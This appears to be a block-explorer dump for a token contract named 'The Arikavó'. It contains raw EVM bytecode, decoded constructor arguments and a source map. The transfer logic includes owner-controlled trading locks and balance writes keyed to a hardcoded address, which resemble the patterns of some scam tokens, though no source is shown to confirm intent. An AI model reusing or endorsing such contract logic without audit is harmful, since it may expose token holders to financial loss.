60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e7919061250c565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600c60007f0000000000000000000000002a939b0d1ac347bfa89d7a13dde45fb628f6786173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561183f57600754600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600c60007f0000000000000000000000002a939b0d1ac347bfa89d7a13dde45fb628f6786173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060085411801561192e57506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156119475750600060159054906101000a900460ff16155b801561199257506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611a6e576064600854856119a791906126ba565b6119b19190612743565b915081846119bf919061250c565b935081600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a10919061250c565b9250508190555081600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a669190612664565b925050819055505b83600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611abd919061250c565b9250508190555083600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b139190612664565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611b77919061220b565b60405180910390a3600060169054906101000a900460ff16611c0957611b9b610c55565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bff906127e6565b60405180910390fd5b5b5050505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600282611ce59190612743565b90506000479050611cf68230611d17565b60008147611d04919061250c565b9050611d11838230611f56565b50505050565b6000600267ffffffffffffffff811115611d3457611d33612806565b5b604051908082528060200260200182016040528015611d625781602001602082028036833780820191505090505b5090503081600081518110611d7a57611d79612835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e439190612879565b81600181518110611e5757611e56612835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ebc307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856110c0565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611f1f95949392919061299f565b600060405180830381600087803b158015611f3957600080fd5b505af1158015611f4d573d6000803e3d6000fd5b50505050505050565b611f81307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856110c0565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b8152600401611fe7969594939291906129f9565b60606040518083038185885af1158015612005573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061202a9190612a6f565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561206c578082015181840152602081019050612051565b8381111561207b576000848401525b50505050565b6000601f19601f8301169050919050565b600061209d82612032565b6120a7818561203d565b93506120b781856020860161204e565b6120c081612081565b840191505092915050565b600060208201905081810360008301526120e58184612092565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061211d826120f2565b9050919050565b61212d81612112565b811461213857600080fd5b50565b60008135905061214a81612124565b92915050565b6000819050919050565b61216381612150565b811461216e57600080fd5b50565b6000813590506121808161215a565b92915050565b6000806040838503121561219d5761219c6120ed565b5b60006121ab8582860161213b565b92505060206121bc85828601612171565b9150509250929050565b60008115159050919050565b6121db816121c6565b82525050565b60006020820190506121f660008301846121d2565b92915050565b61220581612150565b82525050565b600060208201905061222060008301846121fc565b92915050565b60006020828403121561223c5761223b6120ed565b5b600061224a8482850161213b565b91505092915050565b60008060006060848603121561226c5761226b6120ed565b5b600061227a8682870161213b565b935050602061228b8682870161213b565b925050604061229c86828701612171565b9150509250925092565b6000602082840312156122bc576122bb6120ed565b5b60006122ca84828501612171565b91505092915050565b6122dc81612112565b82525050565b60006020820190506122f760008301846122d3565b92915050565b6000819050919050565b600061232261231d612318846120f2565b6122fd565b6120f2565b9050919050565b600061233482612307565b9050919050565b600061234682612329565b9050919050565b6123568161233b565b82525050565b6000602082019050612371600083018461234d565b92915050565b6000806040838503121561238e5761238d6120ed565b5b600061239c8582860161213b565b92505060206123ad8582860161213b565b9150509250929050565b6123c0816121c6565b81146123cb57600080fd5b50565b6000813590506123dd816123b7565b92915050565b6000602082840312156123f9576123f86120ed565b5b6000612407848285016123ce565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061245757607f821691505b6020821081141561246b5761246a612410565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124a760208361203d565b91506124b282612471565b602082019050919050565b600060208201905081810360008301526124d68161249a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061251782612150565b915061252283612150565b925082821015612535576125346124dd565b5b828203905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061259c60268361203d565b91506125a782612540565b604082019050919050565b600060208201905081810360008301526125cb8161258f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061262e60248361203d565b9150612639826125d2565b604082019050919050565b6000602082019050818103600083015261265d81612621565b9050919050565b600061266f82612150565b915061267a83612150565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126af576126ae6124dd565b5b828201905092915050565b60006126c582612150565b91506126d083612150565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612709576127086124dd565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061274e82612150565b915061275983612150565b92508261276957612768612714565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006127d0603f8361203d565b91506127db82612774565b604082019050919050565b600060208201905081810360008301526127ff816127c3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061287381612124565b92915050565b60006020828403121561288f5761288e6120ed565b5b600061289d84828501612864565b91505092915050565b6000819050919050565b60006128cb6128c66128c1846128a6565b6122fd565b612150565b9050919050565b6128db816128b0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61291681612112565b82525050565b6000612928838361290d565b60208301905092915050565b6000602082019050919050565b600061294c826128e1565b61295681856128ec565b9350612961836128fd565b8060005b83811015612992578151612979888261291c565b975061298483612934565b925050600181019050612965565b5085935050505092915050565b600060a0820190506129b460008301886121fc565b6129c160208301876128d2565b81810360408301526129d38186612941565b90506129e260608301856122d3565b6129ef60808301846121fc565b9695505050505050565b600060c082019050612a0e60008301896122d3565b612a1b60208301886121fc565b612a2860408301876128d2565b612a3560608301866128d2565b612a4260808301856122d3565b612a4f60a08301846121fc565b979650505050505050565b600081519050612a698161215a565b92915050565b600080600060608486031215612a8857612a876120ed565b5b6000612a9686828701612a5a565b9350506020612aa786828701612a5a565b9250506040612ab886828701612a5a565b915050925092509256fea2646970667358221220b00bb55979042779e643144407aeb426aa3325bf866be4e1d5ac87704ea491b564736f6c634300080c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000c546865204172696b6176c3b300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e0aaab0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : IDEname (string): The Arikavó
Arg [1] : IDEsymbol (string): ફ
Arg [2] : IDERouter01 (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [4] : 546865204172696b6176c3b30000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : e0aaab0000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

14369:7932:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16477:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16848:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14555:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16660:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20723:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15013:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18311:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16757:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18090:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14515:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15704:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17578:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17696:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11075:94;;;;;;;;;;;;;:::i;:::-;;17131:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17812:100;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10865:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18586:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16567:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14597:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17918:166;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15747:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18195:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15507:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15391:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16991:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14842:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22194:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11175:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14904:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16477:83;16514:13;16547:5;16540:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16477:83;:::o;16848:137::-;16916:4;16940:37;16949:10;16961:7;16970:6;16940:8;:37::i;:::-;16933:44;;16848:137;;;;:::o;14555:35::-;;;;;;;;;;;;;:::o;16660:91::-;16704:7;16731:12;;16724:19;;16660:91;:::o;20723:110::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20723:110;:::o;15013:29::-;;;;:::o;18311:269::-;18432:4;18440:44;18458:6;18466:9;18477:6;18440:17;:44::i;:::-;18502:70;18511:6;18519:10;18565:6;18531:11;:19;18543:6;18531:19;;;;;;;;;;;;;;;:31;18551:10;18531:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;18502:8;:70::i;:::-;18495:77;;18311:269;;;;;:::o;16757:85::-;16798:7;16825:9;;;;;;;;;;;16818:16;;;;16757:85;:::o;18090:99::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18172:9:::1;18157:12;:24;;;;18090:99:::0;:::o;14515:33::-;;;;;;;;;;;;;:::o;15704:36::-;;;:::o;17578:112::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17578:112;:::o;17696:110::-;17753:7;17780:9;:18;17790:7;17780:18;;;;;;;;;;;;;;;;17773:25;;17696:110;;;:::o;11075:94::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11140:21:::1;11158:1;11140:9;:21::i;:::-;11075:94::o:0;17131:115::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17131:115;:::o;17812:100::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17812:100;:::o;10865:87::-;10911:7;10938:6;;;;;;;;;;;10931:13;;10865:87;:::o;18586:86::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18586:86;:::o;16567:87::-;16606:13;16639:7;16632:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16567:87;:::o;14597:37::-;;;;;;;;;;;;;:::o;17918:166::-;17989:4;18006:48;18024:10;18036:9;18047:6;18006:17;:48::i;:::-;18072:4;18065:11;;17918:166;;;;:::o;15747:41::-;;;:::o;18195:110::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18195:110;:::o;15507:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;15391:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;16991:134::-;17063:7;17090:11;:18;17102:5;17090:18;;;;;;;;;;;;;;;:27;17109:7;17090:27;;;;;;;;;;;;;;;;17083:34;;16991:134;;;;:::o;14842:54::-;;;;:::o;22194:104::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;22278:12:::1;22264:11;;:26;;;;;;;;;;;;;;;;;;22194:104:::0;:::o;11175:192::-;11009:12;:10;:12::i;:::-;10998:23;;:7;:5;:7::i;:::-;:23;;;10990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11284:1:::1;11264:22;;:8;:22;;;;11256:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;11340:19;11350:8;11340:9;:19::i;:::-;11175:192:::0;:::o;14904:56::-;;;;:::o;17252:320::-;17346:4;17388:1;17371:19;;:5;:19;;;;:44;;;;;17413:1;17394:21;;:7;:21;;;;17371:44;17363:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;17497:6;17467:11;:18;17479:5;17467:18;;;;;;;;;;;;;;;:27;17486:7;17467:27;;;;;;;;;;;;;;;:36;;;;17526:7;17510:32;;17519:5;17510:32;;;17535:6;17510:32;;;;;;:::i;:::-;;;;;;;;17560:4;17553:11;;17252:320;;;;;:::o;1698:98::-;1751:7;1778:10;1771:17;;1698:98;:::o;18678:1816::-;18789:21;18813:24;18831:4;18813:9;:24::i;:::-;18789:48;;18839:17;18871:14;;;;;;;;;;;:39;;;;;18905:5;;18889:13;:21;18871:39;:55;;;;;18915:11;;;;;;;;;;;18914:12;18871:55;:83;;;;;18943:11;18930:24;;:9;:24;;;;18871:83;18867:878;;;18985:4;18971:11;;:18;;;;;;;;;;;;;;;;;;18991:29;19006:13;18991:14;:29::i;:::-;19036:5;19022:11;;:19;;;;;;;;;;;;;;;;;;18867:878;;;19091:5;;19063:14;:25;19078:9;19063:25;;;;;;;;;;;;;;;;:33;:71;;;;;19129:5;;19100:14;:26;19115:10;19100:26;;;;;;;;;;;;;;;;:34;19063:71;19059:686;;;19163:14;19151:26;;19220:9;19192;:24;19210:4;19192:24;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;19248:44;19265:14;19281:10;19248:16;:44::i;:::-;19294:7;;;;19059:686;19335:11;19313:34;;:10;:34;;;;:81;;;;;19393:1;19365:14;:25;19380:9;19365:25;;;;;;;;;;;;;;;;:29;19313:81;:107;;;;;19415:5;;19398:14;:22;19313:107;:136;;;;;19438:11;19424:25;;:10;:25;;;;19313:136;19309:436;;;19495:14;19466;:26;19481:10;19466:26;;;;;;;;;;;;;;;:43;;;;19511:7;;;;19309:436;19531:11;;;;;;;;;;;19530:12;:58;;;;;19587:1;19546:13;:24;19560:9;19546:24;;;;;;;;;;;;;;;;:42;19530:58;:100;;;;;19619:11;19606:24;;:9;:24;;;;19530:100;:134;;;;;19663:1;19634:14;:25;19649:9;19634:25;;;;;;;;;;;;;;;;:30;19530:134;19526:219;;;19737:5;;19709:14;:25;19724:9;19709:25;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;19668:13;:24;19682:9;19668:24;;;;;;;;;;;;;;;:74;;;;19526:219;18867:878;19755:13;19771:10;:23;19782:11;19771:23;;;;;;;;;;;;;;;;;;;;;;;;;19755:39;;19837:1;19813:13;:20;19827:5;19813:20;;;;;;;;;;;;;;;;:25;19809:59;;;19863:5;;19840:13;:20;19854:5;19840:20;;;;;;;;;;;;;;;:28;;;;19809:59;19896:10;19870;:23;19881:11;19870:23;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;19943:1;19921:9;;:23;:67;;;;;19987:1;19948:14;:25;19963:9;19948:25;;;;;;;;;;;;;;;;:40;19921:67;:83;;;;;19993:11;;;;;;;;;;;19992:12;19921:83;:128;;;;;20048:1;20008:14;:26;20023:10;20008:26;;;;;;;;;;;;;;;;:41;19921:128;19917:297;;;20096:3;20083:9;;20066:14;:26;;;;:::i;:::-;20065:34;;;;:::i;:::-;20053:46;;20119:9;20101:27;;;;;:::i;:::-;;;20154:9;20130;:20;20140:9;20130:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;20193:9;20165;:24;20183:4;20165:24;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;19917:297;20248:14;20224:9;:20;20234:9;20224:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;20289:14;20264:9;:21;20274:10;20264:21;;;;;;;;;;;;;;;;:39;;;;;;;:::i;:::-;;;;;;;;20330:10;20310:47;;20319:9;20310:47;;;20342:14;20310:47;;;;;;:::i;:::-;;;;;;;;20373:11;;;;;;;;;;;20368:119;;20409:7;:5;:7::i;:::-;20396:20;;:9;:20;;;20388:96;;;;;;;;;;;;:::i;:::-;;;;;;;;;20368:119;18778:1716;;;18678:1816;;;;:::o;11373:173::-;11429:16;11448:6;;;;;;;;;;;11429:25;;11474:8;11465:6;;:17;;;;;;;;;;;;;;;;;;11529:8;11498:40;;11519:8;11498:40;;;;;;;;;;;;11418:128;11373:173;:::o;21721:363::-;21780:12;21804:1;21795:6;:10;;;;:::i;:::-;21780:25;;21816:22;21851:21;21816:56;;21883:47;21900:4;21924;21883:16;:47::i;:::-;21941:18;21996:14;21972:21;:38;;;;:::i;:::-;21941:69;;22021:55;22034:4;22040:10;22070:4;22021:12;:55::i;:::-;21769:315;;;21721:363;:::o;21315:400::-;21393:21;21431:1;21417:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21393:40;;21465:4;21435;21452:1;21435:19;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;21492:11;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21472:4;21487:1;21472:17;;;;;;;;:::i;:::-;;;;;;;:38;;;;;;;;;;;21523:58;21540:4;21555:11;21569;21523:8;:58::i;:::-;;21592:11;:62;;;21665:11;21678:1;21681:4;21687:2;21691:15;21592:115;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21382:333;21315:400;;:::o;21016:293::-;21120:58;21137:4;21152:11;21166;21120:8;:58::i;:::-;;21189:11;:27;;;21224:9;21255:4;21262:11;21275:1;21278;21281:2;21285:15;21189:112;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;21016:293;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:329::-;3905:6;3954:2;3942:9;3933:7;3929:23;3925:32;3922:119;;;3960:79;;:::i;:::-;3922:119;4080:1;4105:53;4150:7;4141:6;4130:9;4126:22;4105:53;:::i;:::-;4095:63;;4051:117;3846:329;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:329::-;4865:6;4914:2;4902:9;4893:7;4889:23;4885:32;4882:119;;;4920:79;;:::i;:::-;4882:119;5040:1;5065:53;5110:7;5101:6;5090:9;5086:22;5065:53;:::i;:::-;5055:63;;5011:117;4806:329;;;;:::o;5141:118::-;5228:24;5246:5;5228:24;:::i;:::-;5223:3;5216:37;5141:118;;:::o;5265:222::-;5358:4;5396:2;5385:9;5381:18;5373:26;;5409:71;5477:1;5466:9;5462:17;5453:6;5409:71;:::i;:::-;5265:222;;;;:::o;5493:60::-;5521:3;5542:5;5535:12;;5493:60;;;:::o;5559:142::-;5609:9;5642:53;5660:34;5669:24;5687:5;5669:24;:::i;:::-;5660:34;:::i;:::-;5642:53;:::i;:::-;5629:66;;5559:142;;;:::o;5707:126::-;5757:9;5790:37;5821:5;5790:37;:::i;:::-;5777:50;;5707:126;;;:::o;5839:146::-;5909:9;5942:37;5973:5;5942:37;:::i;:::-;5929:50;;5839:146;;;:::o;5991:171::-;6098:57;6149:5;6098:57;:::i;:::-;6093:3;6086:70;5991:171;;:::o;6168:262::-;6281:4;6319:2;6308:9;6304:18;6296:26;;6332:91;6420:1;6409:9;6405:17;6396:6;6332:91;:::i;:::-;6168:262;;;;:::o;6436:474::-;6504:6;6512;6561:2;6549:9;6540:7;6536:23;6532:32;6529:119;;;6567:79;;:::i;:::-;6529:119;6687:1;6712:53;6757:7;6748:6;6737:9;6733:22;6712:53;:::i;:::-;6702:63;;6658:117;6814:2;6840:53;6885:7;6876:6;6865:9;6861:22;6840:53;:::i;:::-;6830:63;;6785:118;6436:474;;;;;:::o;6916:116::-;6986:21;7001:5;6986:21;:::i;:::-;6979:5;6976:32;6966:60;;7022:1;7019;7012:12;6966:60;6916:116;:::o;7038:133::-;7081:5;7119:6;7106:20;7097:29;;7135:30;7159:5;7135:30;:::i;:::-;7038:133;;;;:::o;7177:323::-;7233:6;7282:2;7270:9;7261:7;7257:23;7253:32;7250:119;;;7288:79;;:::i;:::-;7250:119;7408:1;7433:50;7475:7;7466:6;7455:9;7451:22;7433:50;:::i;:::-;7423:60;;7379:114;7177:323;;;;:::o;7506:180::-;7554:77;7551:1;7544:88;7651:4;7648:1